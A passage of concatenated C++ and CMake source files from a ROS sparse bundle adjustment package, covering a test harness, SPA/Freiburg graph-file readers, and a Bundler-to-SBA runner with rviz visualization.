sba.printStats();
#if 1
cout << "[SBAsys] Writing file" << endl;
writeLourakisFile("spiral-4000", sba);
#endif
for (int i=0; i<3; ++i)
cout << "Quaternion: " << sba.nodes[i].qrot.coeffs().transpose() << endl;
cout << endl;
long long t0, t1;
t0 = utime();
sba.nFixed = 1; // one fixed frame
int niters;
#if 0
niters = sba.doSBA(1);
t1 = utime();
printf("[TestSBA] Compute took %0.2f ms/iter\n", 0.001*(double)(t1-t0)/(double)niters);
printf("[TestSBA] Accepted iterations: %d\n", niters);
double dist = 10000.0;
int bad = sba.removeBad(dist);
int gone = sba.reduceTracks();
cout << "[SBAsys] Removed " << bad << " projections with distance > " << dist << endl;
cout << "[SBAsys] Reduced " << gone << " tracks" << endl;
#endif
cout << endl << "[SBAsys] Full system" << endl;
niters = sba.doSBA(10,1.0e-3,1); // full system
// test results
double sqerr = 0.0;
for (int i=0; i<(int)cps.size(); ++i)
{
Matrix<double,6,1> &cp = cps[i]; // old camera pose
Vector3d tp = cp.head(3);
Vector3d tpn = sba.nodes[i].trans.head(3);
// printf("\n[TestSBA] Cam %d orig: %0.2f %0.2f %0.2f\n", i, tp[0], tp[1], tp[2]);
// printf("[TestSBA] Cam %d new: %0.2f %0.2f %0.2f\n", i, tpn[0], tpn[1], tpn[2]);
Vector3d err = tp-tpn;
sqerr += err.squaredNorm();
}
sqerr = sqerr / (double)(cps.size());
printf("[TestSBA] RMSE is %0.3f m\n", sqrt(sqerr));
EXPECT_EQ_ABS(sqerr,0.0,5e-3); // should be within 5mm
// find number of projection measurements
int nms = 0;
for (int i=0; i<(int)sba.tracks.size(); ++i)
nms += sba.tracks[i].projections.size();
double cost = sba.calcCost();
cost = sqrt(cost/nms);
cout << "[TestSBA] Final rms pixel error: " << cost << endl << endl;
EXPECT_EQ_ABS(cost,0.0,0.5); // squared cost should be low
}
int main(int argc, char **argv)
{
testing::InitGoogleTest(&argc, argv);
return RUN_ALL_TESTS();
}
<file_sep>cmake_minimum_required(VERSION 2.8.3)
project(sba)
set(CMAKE_CXX_FLAGS "-std=c++0x ${CMAKE_CXX_FLAGS}")
list(APPEND CMAKE_MODULE_PATH "${CMAKE_CURRENT_SOURCE_DIR}/cmake")
find_package(catkin REQUIRED COMPONENTS bpcg message_generation std_msgs visualization_msgs geometry_msgs)
find_package(Boost REQUIRED COMPONENTS thread)
find_package(Eigen REQUIRED)
find_package(SuiteSparse REQUIRED)
find_package(LAPACK REQUIRED)
include_directories(
include
${Eigen_INCLUDE_DIRS}
${Boost_INCLUDE_DIRS}
${SuiteSparse_INCLUDE_DIRS}
${LAPACK_INCLUDE_DIRS}
${catkin_INCLUDE_DIRS}
)
#add_definitions(-Wall -Wno-missing-field-initializers)
#add_definitions(-DSBA_CHOLMOD -DSBA_DSIF)
add_definitions(-DSBA_CHOLMOD)
add_message_files(FILES
CameraNode.msg
Frame.msg
Projection.msg
WorldPoint.msg
)
generate_messages(DEPENDENCIES std_msgs visualization_msgs geometry_msgs)
catkin_package(
LIBRARIES sba
INCLUDE_DIRS include
DEPENDS Eigen
CFG_EXTRAS sba-extra.cmake
)
#add_definitions(${EIGEN_DEFINITIONS})
#####################################################################
# SBA library
add_library(sba
src/sba.cpp src/spa.cpp src/spa2d.cpp src/csparse.cpp src/proj.cpp src/node.cpp src/sba_file_io.cpp
)
target_link_libraries(sba blas lapack cholmod cxsparse)
# SBA library with ROS & utilities, including reading from file and visualization.
add_library(sba_vis src/visualization.cpp)
<file_sep>/*********************************************************************
* Software License Agreement (BSD License)
*
* Copyright (c) 2009, <NAME>, Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided
* with the distribution.
* * Neither the name of the <NAME>age nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*********************************************************************/
// convert a file in Freiburg's VERTEX / EDGE format into a set of constraints
#include "sba/read_spa.h"
#include <iostream>
#include <iomanip>
#include <fstream>
#include <sstream>
#include <sys/time.h>
using namespace std;
using namespace Eigen;
//
// read in an SPA file
//
//
// Format:
// # XXXX - comment line
// VERTEX3 n xyz rpy - node line
// EDGE3 n1 n2 xyz rpy - edge line
//
// NOTE: assumes vertices are in order starting with index 0
// makes a quaternion from fixed Euler RPY angles
// see the Wikipedia article on Euler anlges
void make_qrot(double rr, double rp, double ry, Vector4d &v)
{
double sr = sin(rr/2.0);
double cr = cos(rr/2.0);
double sp = sin(rp/2.0);
double cp = cos(rp/2.0);
double sy = sin(ry/2.0);
double cy = cos(ry/2.0);
v[0] = sr*cp*cy - cr*sp*sy; // qx
v[1] = cr*sp*cy + sr*cp*sy; // qy
v[2] = cr*cp*sy - sr*sp*cy; // qz
v[3] = cr*cp*cy + sr*sp*sy; // qw
}
// cv is upper triangular
void make_covar(double *cv, Matrix<double,6,6> &m)
{
m.setZero();
int i = 0;
m(0,0) = cv[i++];
m(0,1) = cv[i++];
m(0,2) = cv[i++];
m(0,3) = cv[i++];
m(0,4) = cv[i++];
m(0,5) = cv[i++];
m(1,1) = cv[i++];
m(1,2) = cv[i++];
m(1,3) = cv[i++];
m(1,4) = cv[i++];
m(1,5) = cv[i++];
m(2,2) = cv[i++];
m(2,3) = cv[i++];
m(2,4) = cv[i++];
m(2,5) = cv[i++];
m(3,3) = cv[i++];
m(3,4) = cv[i++];
m(3,5) = cv[i++];
m(4,4) = cv[i++];
m(4,5) = cv[i++];
m(5,5) = cv[i++];
// make symmetric
Matrix<double,6,6> mt = m.transpose();
mt.diagonal().setZero();
m = m+mt;
}
int
ReadSPAFile(char *fin, // input file
// node translation
std::vector< Eigen::Vector3d, Eigen::aligned_allocator<Eigen::Vector3d> > &ntrans,
// node rotation
std::vector< Eigen::Vector4d, Eigen::aligned_allocator<Eigen::Vector4d> > &nqrot,
// constraint indices
std::vector< Eigen::Vector2i, Eigen::aligned_allocator<Eigen::Vector2i> > &cind,
// constraint local translation
std::vector< Eigen::Vector3d, Eigen::aligned_allocator<Eigen::Vector3d> > &ctrans,
// constraint local rotation as quaternion
std::vector< Eigen::Vector4d, Eigen::aligned_allocator<Eigen::Vector4d> > &cqrot,
// constraint covariance
std::vector< Eigen::Matrix<double,6,6>, Eigen::aligned_allocator<Eigen::Matrix<double,6,6> > > &cvar,
// track info: point projections, see format description in IntelSeattle files
std::vector<struct tinfo> &tracks
)
{
ifstream ifs(fin);
if (ifs == NULL)
{
cout << "Can't open file " << fin << endl;
return -1;
}
ifs.precision(10);
// loop over lines
string line;
int nline = 0;
bool first = true;
while (getline(ifs,line))
{
++nline;
stringstream ss(line); // make a string stream
string type;
ss >> type;
size_t pos = type.find("#");
if (pos != string::npos)
continue; // comment line
if (type == "VERTEX3") // have a vertex
{
int n;
double tx,ty,tz,rr,rp,ry;
if (!(ss >> n >> tx >> ty >> tz >> rr >> rp >> ry))
{
cout << "[ReadSPA] Bad VERTEX3 at line " << nline << endl;
return -1;
}
ntrans.push_back(Vector3d(tx,ty,tz));
Vector4d v;
make_qrot(rr,rp,ry,v);
nqrot.push_back(v);
}
if (type == "EDGE3") // have an edge
{
int n1,n2;
double tx,ty,tz,rr,rp,ry;
double cv[21];
// indices and measurement
if (!(ss >> n1 >> n2 >> tx >> ty >> tz >> rr >> rp >> ry))
{
cout << "[ReadSPA] Bad EDGE3 at line " << nline << endl;
return -1;
}
cind.push_back(Vector2i(n1,n2));
ctrans.push_back(Vector3d(tx,ty,tz));
Vector4d v;
make_qrot(rr,rp,ry,v);
cqrot.push_back(v);
// covar
if (!(ss >> cv[0] >> cv[1] >> cv[2] >> cv[3] >> cv[4]
>> cv[5] >> cv[6] >> cv[7] >> cv[8] >> cv[9]
>> cv[10] >> cv[11] >> cv[12] >> cv[13] >> cv[14]
>> cv[15] >> cv[16] >> cv[17] >> cv[18] >> cv[19] >> cv[20]))
{
cout << "[ReadSPA] Bad EDGE3 at line " << nline << endl;
return -1;
}
Matrix<double,6,6> m;
make_covar(cv,m);
if (first)
{
//cout << endl;
//for (int j=0; j<21; ++j);
//cout << cv[j] << " ";
//cout << endl << endl << << m << endl;
first = false;
}
cvar.push_back(m);
}
if (type == "TRACK32") // have a point projection pair
{
struct tinfo tt;
int pi,fi,fpi;
double tx,ty,tz,u,v;
// indices and measurement
if (!(ss >> pi >> fi >> fpi >> tx >> ty >> tz >> u >> v))
{
cout << "[ReadSPA] Bad TRACK32 at line " << nline << endl;
return -1;
}
tt.pn = pi;
tt.fn0 = fi;
tt.fpn0 = fpi;
tt.x0 = tx;
tt.y0 = ty;
tt.z0 = tz;
tt.u0 = u;
tt.v0 = v;
// second projection of pair
if (!(ss >> fi >> fpi >> tx >> ty >> tz >> u >> v))
{
cout << "[ReadSPA] Bad TRACK32 at line " << nline << endl;
return -1;
}
tt.fn1 = fi;
tt.fpn1 = fpi;
tt.x1 = tx;
tt.y1 = ty;
tt.z1 = tz;
tt.u1 = u;
tt.v1 = v;
tracks.push_back(tt);
}
}
return 0;
}
// 2D code
// cv is upper triangular
void make_covar_2d(double *cv, Matrix<double,3,3> &m, bool useFreiburg)
{
m.setZero();
int i = 0;
if (useFreiburg)
{
m(0,0) = cv[i++];
m(0,1) = cv[i++];
m(1,1) = cv[i++];
m(2,2) = cv[i++];
m(0,2) = cv[i++];
m(1,2) = cv[i++];
}
else
{
m(0,0) = cv[i++];
m(0,1) = cv[i++];
m(0,2) = cv[i++];
m(1,1) = cv[i++];
m(1,2) = cv[i++];
m(2,2) = cv[i++];
}
// make symmetric
Matrix<double,3,3> mt = m.transpose();
mt.diagonal().setZero();
m = m+mt;
}
int
ReadSPA2dFile(char *fin, // input file
// node translation
std::vector< Eigen::Vector2d, Eigen::aligned_allocator<Eigen::Vector2d> > &ntrans,
// node rotation
std::vector< double > &narot,
// constraint indices
std::vector< Eigen::Vector2i, Eigen::aligned_allocator<Eigen::Vector2i> > &cind,
// constraint local translation
std::vector< Eigen::Vector2d, Eigen::aligned_allocator<Eigen::Vector2d> > &ctrans,
// constraint local rotation as angle
std::vector< double > &carot,
// constraint covariance
std::vector< Eigen::Matrix<double,3,3>, Eigen::aligned_allocator<Eigen::Matrix<double,3,3> > > &cvar,
// scan points
std::vector< std::vector< Eigen::Vector2d, Eigen::aligned_allocator<Eigen::Vector2d> > > &scans
)
{
ifstream ifs(fin);
if (ifs == NULL)
{
cout << "Can't open file " << fin << endl;
return -1;
}
ifs.precision(10);
VectorXi ind; // indices
ind.setConstant(1000000,-1); // invalid
int cur = 0; // current index
bool useFreiburg = false; // for Freiburg odd covariances
// loop over lines
string line;
int nline = 0;
bool first = true;
while (getline(ifs,line))
{
++nline;
stringstream ss(line); // make a string stream
string type;
ss >> type;
size_t pos = type.find("#");
if (pos != string::npos)
{
pos = type.find("#FCOVAR");
if (pos != string::npos)
{
useFreiburg = true;
cout << "Using Freiburg covariances" << endl;
}
continue; // comment line
}
if (type == "VERTEX2") // have a vertex
{
int n;
double tx,ty,rr;
if (!(ss >> n >> tx >> ty >> rr))
{
cout << "[ReadSPA2d] Bad VERTEX2 " << n << " at line " << nline << endl;
return -1;
}
ntrans.push_back(Vector2d(tx,ty));
narot.push_back(rr);
ind[n] = ++cur;
}
if (type == "EDGE2") // have an edge
{
int n1,n2;
double tx,ty,rr;
double cv[6];
// indices and measurement
if (!(ss >> n1 >> n2 >> tx >> ty >> rr))
{
cout << "[ReadSPA2d] Bad EDGE2 at line " << nline << endl;
return -1;
}
n1 = ind[n1];
n2 = ind[n2];
if (n1 < 0 || n2 < 0)
{
cout << "[ReadSPA2d] Bad EDGE2 indices at line " << nline << endl << line << endl;
return -1;
}
cind.push_back(Vector2i(n1,n2));
ctrans.push_back(Vector2d(tx,ty));
carot.push_back(rr);
// covar
if (!(ss >> cv[0] >> cv[1] >> cv[2] >> cv[3] >> cv[4]
>> cv[5]))
{
cout << "[ReadSPA2d] Bad EDGE2 at line " << nline << endl;
return -1;
}
Matrix<double,3,3> m;
make_covar_2d(cv,m,useFreiburg);
if (first)
{
// cout << endl;
// for (int j=0; j<6; ++j)
// cout << cv[j] << " ";
// cout << endl << endl << m << endl;
first = false;
}
cvar.push_back(m);
}
if (type == "POINT2") // have a scan
{
int n;
double px,py;
if (!(ss >> n ))
{
cout << "[ReadSPA2d] Bad POINT2 size " << n << " at line " << nline << endl;
return -1;
}
if (n >= (int)scans.size()) // n is the scan number
scans.resize(n+1);
// coords of scan points are in world system!!!!
double a = narot[n]; // angle of node for this scan
Vector3d tr;
tr.head(2) = ntrans[n]; // translation
tr[2] = 1.0;
Matrix<double,2,3> w2n;
w2n(0,0) = w2n(1,1) = cos(a);
w2n(0,1) = sin(a);
w2n(1,0) = -w2n(0,1);
w2n.col(2).setZero();
w2n.col(2) = -w2n*tr;
std::vector< Eigen::Vector2d, Eigen::aligned_allocator<Eigen::Vector2d> > scan;
string str;
getline(ss,str);
istringstream sss(str);
while ((sss >> px >> py))
{
Vector3d pw(px,py,1.0);
Vector2d pn = w2n*pw;
scan.push_back(pn);
}
scans[n] = scan;
}
}
return 0;
}
<file_sep>/*********************************************************************
* Software License Agreement (BSD License)
*
* Copyright (c) 2009, <NAME>, Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided
* with the distribution.
* * Neither the name of the <NAME> nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*********************************************************************/
// run an (undistorted) Bundler file through SBA
// files are in ~/devel/sba-data/venice
#include <ros/ros.h>
#include <visualization_msgs/Marker.h>
#include <visualization_msgs/MarkerArray.h>
#include <geometry_msgs/Point.h>
#include "sba/sba_file_io.h"
#include "sba/sba.h"
#include <iostream>
#include <iomanip>
#include <fstream>
#include <vector>
#include <sys/time.h>
using namespace std;
using namespace Eigen;
using namespace sba;
using namespace frame_common;
// draw the graph on rviz
void
drawgraph(SysSBA &sba, ros::Publisher &cam_pub, ros::Publisher &pt_pub, int dec)
{
visualization_msgs::Marker cammark, ptmark;
cammark.header.frame_id = "/pgraph";
cammark.header.stamp = ros::Time();
cammark.ns = "pgraph";
cammark.id = 0;
cammark.action = visualization_msgs::Marker::ADD;
cammark.pose.position.x = 0;
cammark.pose.position.y = 0;
cammark.pose.position.z = 0;
cammark.pose.orientation.x = 0.0;
cammark.pose.orientation.y = 0.0;
cammark.pose.orientation.z = 0.0;
cammark.pose.orientation.w = 1.0;
cammark.scale.x = 0.02;
cammark.scale.y = 0.02;
cammark.scale.z = 0.02;
cammark.color.r = 0.0f;
cammark.color.g = 1.0f;
cammark.color.b = 1.0f;
cammark.color.a = 1.0f;
cammark.lifetime = ros::Duration();
cammark.type = visualization_msgs::Marker::LINE_LIST;
ptmark = cammark;
ptmark.color.r = 1.0f;
ptmark.color.g = 0.0f;
ptmark.color.b = 0.0f;
ptmark.color.a = 0.5f;
ptmark.scale.x = 0.01;
ptmark.scale.y = 0.01;
ptmark.scale.z = 0.01;
ptmark.type = visualization_msgs::Marker::POINTS;
// draw points, decimated
int npts = sba.tracks.size();
ptmark.points.resize(npts/dec+1);
for (int i=0, ii=0; i<npts; i+=dec, ++ii)
{
Vector4d &pt = sba.tracks[i].point;
ptmark.points[ii].x = pt(0);
ptmark.points[ii].y = pt(2);
ptmark.points[ii].z = pt(1);
}
// draw cameras
int ncams = sba.nodes.size();
cammark.points.resize(ncams*6);
for (int i=0, ii=0; i<ncams; ++i)
{
Node &nd = sba.nodes[i];
Vector3d opt;
Matrix<double,3,4> tr;
transformF2W(tr,nd.trans,Quaternion<double>(nd.qrot));
cammark.points[ii].x = nd.trans.x();
cammark.points[ii].y = nd.trans.z();
cammark.points[ii++].z = nd.trans.y();
opt = tr*Vector4d(0,0,0.3,1);
cammark.points[ii].x = opt.x();
cammark.points[ii].y = opt.z();
cammark.points[ii++].z = opt.y();
cammark.points[ii].x = nd.trans.x();
cammark.points[ii].y = nd.trans.z();
cammark.points[ii++].z = nd.trans.y();
opt = tr*Vector4d(0.1,0,0,1);
cammark.points[ii].x = opt.x();
cammark.points[ii].y = opt.z();
cammark.points[ii++].z = opt.y();
cammark.points[ii].x = nd.trans.x();
cammark.points[ii].y = nd.trans.z();
cammark.points[ii++].z = nd.trans.y();
opt = tr*Vector4d(0,0.1,0,1);
cammark.points[ii].x = opt.x();
cammark.points[ii].y = opt.z();
cammark.points[ii++].z = opt.y();
}
cam_pub.publish(cammark);
pt_pub.publish(ptmark);
}
//
// first argument is the name of input file, Bundler format
// expects good focal length and distortion correction
// runs sba
//
int main(int argc, char **argv)
{
char *fin;
if (argc < 2)
{
cout << "Arguments are: <input filename> [<min conn pts>]" << endl;
return -1;
}
int minpts = 0;
if (argc > 2)
minpts = atoi(argv[2]);
fin = argv[1];
vector< Vector3d, Eigen::aligned_allocator<Vector3d> > camps; // cam params <f d1 d2>
vector< Matrix3d, Eigen::aligned_allocator<Matrix3d> > camRs; // cam rotation matrix
vector< Vector3d, Eigen::aligned_allocator<Vector3d> > camts; // cam translation
vector< Vector3d, Eigen::aligned_allocator<Vector3d> > ptps; // point position
vector< Vector3i, Eigen::aligned_allocator<Vector3i> > ptcs; // point color
vector< vector< Vector4d, Eigen::aligned_allocator<Vector4d> > > ptts; // point tracks - each vector is <camera_index kp_idex u v>
int ret = ParseBundlerFile(fin, camps, camRs, camts, ptps, ptcs, ptts);
if (ret < 0)
return -1;
int ncams = camps.size();
int npts = ptps.size();
int nprjs = 0;
for (int i=0; i<npts; ++i)
nprjs += (int)ptts[i].size();
cout << "Points: " << npts << " Tracks: " << ptts.size()
<< " Projections: " << nprjs << endl;
// set up markers for visualization
ros::init(argc, argv, "VisBundler");
ros::NodeHandle n ("~");
ros::Publisher pt_pub = n.advertise<visualization_msgs::Marker>("points", 0);
ros::Publisher cam_pub = n.advertise<visualization_msgs::Marker>("cameras", 0);
// construct an SBA system
SysSBA sys;
Node::initDr();
// set up nodes/frames
cout << "Setting up nodes..." << flush;
for (int i=0; i<ncams; ++i)
{
// camera params
Vector3d &camp = camps[i];
CamParams cpars = {camp[0],camp[0],0,0,0}; // set focal length, no offset
//
// NOTE: Bundler camera coords are rotated 180 deg around the X axis of
// the camera, so Z points opposite the camera viewing ray (OpenGL).
// Note quite sure, but I think this gives the camera pose as
// [-R' -R'*t]
// rotation matrix
Matrix3d m180x; // rotate 180 deg around X axis, to convert Bundler frames to SBA frames
m180x << 1, 0, 0, 0, -1, 0, 0, 0, -1;
Matrix3d camR = m180x * camRs[i]; // rotation matrix
Quaternion<double> frq(camR.transpose()); // camera frame rotation, from Bundler docs
if (frq.w() < 0.0) // w negative, change to positive
{
frq.x() = -frq.x();
frq.y() = -frq.y();
frq.z() = -frq.z();
frq.w() = -frq.w();
}
// translation
Vector3d &camt = camts[i];
Vector4d frt;
frt.head<3>() = -camRs[i].transpose() * camt; // camera frame translation, from Bundler docs
frt[3] = 1.0;
Node nd;
nd.qrot = frq.coeffs();
nd.normRot();
// cout << "Quaternion: " << nd.qrot.transpose() << endl;
nd.trans = frt;
// cout << "Translation: " << nd.trans.transpose() << endl << endl;
nd.setTransform(); // set up world2node transform
nd.setKcam(cpars); // set up node2image projection
nd.setDr(true); // set rotational derivatives
sys.nodes.push_back(nd);
}
cout << "done" << endl;
// set up points
cout << "Setting up points..." << flush;
for (int i=0; i<npts; ++i)
{
// point
Vector3d &ptp = ptps[i];
Point pt;
pt.head<3>() = ptp;
pt[3] = 1.0;
sys.addPoint(pt);
}
cout << "done" << endl;
sys.useLocalAngles = true; // use local angles
sys.nFixed = 1;
// set up projections
int ntot = 0;
cout << "Setting up projections..." << flush;
for (int i=0; i<npts; ++i)
{
// track
vector<Vector4d, Eigen::aligned_allocator<Vector4d> > &ptt = ptts[i];
int nprjs = ptt.size();
for (int j=0; j<nprjs; ++j)
{
// projection
Vector4d &prj = ptt[j];
int cami = (int)prj[0];
Vector2d pt = prj.segment<2>(2);
pt[1] = -pt[1]; // NOTE: Bundler image Y is reversed
if (cami >= ncams)
cout << "*** Cam index exceeds bounds: " << cami << endl;
sys.addMonoProj(cami,i,pt); // camera indices aren't ordered
++ntot;
#if 0
if (ntot==1000000)
{
Node &nd = sys.nodes[cami];
Point &npt = sys.points[i];
cout << pt.transpose() << endl;
Vector3d pti = nd.w2i * npt;
pti = pti / pti[2];
cout << pti.transpose() << endl;
cout << nd.trans.transpose() << endl;
cout << nd.qrot.transpose() << endl;
}
#endif
// if ((ntot % 100000) == 0)
// cout << ntot << endl;
}
}
cout << "done" << endl;
if (minpts > 0)
{
int nrem = sys.reduceLongTracks(minpts); // tracks greater than minpts size are removed
// sys.remExcessTracks(minpts);
cout << "Split " << nrem << " / " << sys.tracks.size() << " tracks" << endl;
}
double cost = sys.calcCost();
cout << "Initial squared cost: " << cost << ", which is " << sqrt(cost/nprjs) << " rms pixels per projection" << endl;
sys.nFixed = 1;
sys.printStats();
sys.csp.useCholmod = true;
// draw graph
cout << endl << "drawing..." << endl << endl;
drawgraph(sys,cam_pub,pt_pub,2); // every 2nd point
#if 0
sys.writeFile((char *)"sbasys");
cout << endl << "Wrote SBA system in Lourakis format" << endl << endl;
#endif
#if 0
cout << endl;
cout << "Bad projs (> 100 pix): " << sys.countBad(100.0)
<< " Cost without: " << sqrt(sys.calcCost(100.0)/nprjs) << endl;
cout << "Bad projs (> 20 pix): " << sys.countBad(20.0)
<< " Cost without: " << sqrt(sys.calcCost(20.0)/nprjs) << endl;
cout << "Bad projs (> 10 pix): " << sys.countBad(10.0)
<< " Cost without: " << sqrt(sys.calcCost(10.0)/nprjs) << endl;
int n = sys.removeBad(20.0);
cout << "Removed " << n << " projs with >10px error" << endl;
sys.printStats();
#endif
#if 0
sys.doSBA(2);
sys.setupSys(0.0);
sys.writeSparseA((char *)"A819.venice");
#endif
// sys.setConnMat(minpts);
// sys.setConnMatReduced(minpts); // finds spanning tree
// sys.doSBA(30,1.0e-3,true);
sys.doSBA(1,1e-3,1);
drawgraph(sys,cam_pub,pt_pub,2);
for (int i=0; i<20; ++i)
{
sys.doSBA(1,0.0,1);
drawgraph(sys,cam_pub,pt_pub,2);
}
cout << endl << "Switch to full system" << endl;
sys.connMat.resize(0);
// reset projections here
// just use old points
sys.tracks.resize(npts);
// set up projections
sys.tracks.resize(0);
cout << "Setting up projections..." << flush;
for (int i=0; i<npts; ++i)
{
// track
vector<Vector4d, Eigen::aligned_allocator<Vector4d> > &ptt = ptts[i];
int nprjs = ptt.size();
for (int j=0; j<nprjs; ++j)
{
// projection
Vector4d &prj = ptt[j];
int cami = (int)prj[0];
Vector2d pt = prj.segment<2>(2);
pt[1] = -pt[1]; // NOTE: Bundler image Y is reversed
if (cami >= ncams)
cout << "*** Cam index exceeds bounds: " << cami << endl;
sys.addMonoProj(cami,i,pt); // camera indices aren't ordered
++ntot;
}
}
cout << "done" << endl;
sys.doSBA(20,1e-3,1);
drawgraph(sys,cam_pub,pt_pub,2);
cout << "Bad projs (> 10 pix): " << sys.countBad(10.0)
<< " Cost without: " << sqrt(sys.calcCost(10.0)/nprjs) << endl;
cout << "Bad projs (> 5 pix): " << sys.countBad( 5.0)
<< " Cost without: " << sqrt(sys.calcCost( 5.0)/nprjs) << endl;
cout << "Bad projs (> 2 pix): " << sys.countBad( 2.0)
<< " Cost without: " << sqrt(sys.calcCost( 2.0)/nprjs) << endl << endl;
sys.removeBad(10.0);
cout << "Removed projs with >10px error" << endl;
sys.doSBA(10,1e-3,true);
cout << "Bad projs (> 10 pix): " << sys.countBad(10.0) << endl;
cout << "Bad projs (> 5 pix): " << sys.countBad( 5.0) << endl;
cout << "Bad projs (> 2 pix): " << sys.countBad( 2.0) << endl << endl;
sys.doSBA(10);
cout << "Bad projs (> 10 pix): " << sys.countBad(10.0) << endl;
cout << "Bad projs (> 5 pix): " << sys.countBad( 5.0) << endl;
cout << "Bad projs (> 2 pix): " << sys.countBad( 2.0) << endl << endl;
sys.doSBA(10);
cout << "Bad projs (> 10 pix): " << sys.countBad(10.0) << endl;
cout << "Bad projs (> 5 pix): " << sys.countBad( 5.0) << endl;
cout << "Bad projs (> 2 pix): " << sys.countBad( 2.0) << endl << endl;
return 0;
}
<file_sep>/*********************************************************************
* Software License Agreement (BSD License)
*
* Copyright (c) 2009, <NAME>, Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided
* with the distribution.
* * Neither the name of the <NAME> nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*********************************************************************/
// run an (undistorted) Bundler file through SBA
// files are in ~/devel/sba-data/venice
#include <ros/ros.h>
#include <visualization_msgs/Marker.h>
#include <visualization_msgs/MarkerArray.h>
#include <geometry_msgs/Point.h>
#include "sba/sba_setup.h"
#include <iostream>
#include <iomanip>
#include <fstream>
#include <vector>
#include <sys/time.h>
using namespace std;
using namespace Eigen;
using namespace sba;
using namespace frame_common;
// draw the graph on rviz
void
drawgraph(SysSPA &spa, ros::Publisher &cam_pub, ros::Publisher &link_pub)
{
visualization_msgs::Marker cammark, linkmark;
cammark.header.frame_id = "/pgraph";
cammark.header.stamp = ros::Time();
cammark.ns = "pgraph";
cammark.id = 0;
cammark.action = visualization_msgs::Marker::ADD;
cammark.pose.position.x = 0;
cammark.pose.position.y = 0;
cammark.pose.position.z = 0;
cammark.pose.orientation.x = 0.0;
cammark.pose.orientation.y = 0.0;
cammark.pose.orientation.z = 0.0;
cammark.pose.orientation.w = 1.0;
cammark.scale.x = 0.02;
cammark.scale.y = 0.02;
cammark.scale.z = 0.02;
cammark.color.r = 0.0f;
cammark.color.g = 1.0f;
cammark.color.b = 1.0f;
cammark.color.a = 1.0f;
cammark.lifetime = ros::Duration();
cammark.type = visualization_msgs::Marker::LINE_LIST;
linkmark = cammark;
linkmark.color.r = 1.0f;
linkmark.color.g = 1.0f;
linkmark.color.b = 0.0f;
linkmark.color.a = 1.0f;
// draw cameras
int ncams = spa.nodes.size();
